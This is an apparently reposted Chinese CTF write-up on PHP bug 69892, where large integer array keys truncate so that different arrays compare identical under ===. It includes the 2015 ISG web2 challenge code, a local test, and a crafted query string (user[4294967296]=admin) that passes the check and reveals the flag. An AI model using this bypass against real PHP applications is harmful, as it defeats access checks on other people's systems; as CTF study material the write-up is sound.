Different arrays compare indentical due to integer key truncation

来源:互联网 时间:1970-01-01

0x01.前言

这个bug https://bugs.php.net/bug.php?id=69892 是在2015-ISG的web2中遇到,代码如下

<?phpinclude('config.php');if(empty($_GET['user'])) die(show_source(__FILE__));$user = ['admin', (string)time()];if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;} 0x02. 本地测试 <?phpvar_dump([0 => 0] === [0x100000000 => 0]); // 0x100000000 可以继续添0?>

返回bool,适用于所有php版本。

那么将上面web2的代码优化下:

<?phpif(empty($_GET['user'])) die(show_source(__FILE__));$user = ['admin', 'xxoo'];var_dump($user);echo '<br>';var_dump($_GET['user']);echo '<br>';var_dump($_GET['user'][0]);echo '<br>';var_dump($user === $_GET['user']);echo '<br>';if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){ echo 1111111111111; }?> 提交参数: http://localhost/1.php?user[4294967296]=admin&user[1]=xxoo

发现返回是false。因为传入的参数被认为了字符串。而不是int类型。

原因是因为上面代码是在32bit的php版本上测试。

接下来在php版本是64bit的环境上跑一下。结果如下,返回true。

那么如何判断php是32bit还是64bit?

只需运行如下脚本

<?phpif (PHP_INT_SIZE == 8){echo 'if 64-bit version of PHP';}else if (PHP_INT_SIZE == 4){echo '32-bit version of PHP';}else {echo 'PHP_INT_SIZE' . PHP_INT_SIZE;}?> 参考

https://bugs.php.net/bug.php?id=69892

相关阅读:
Top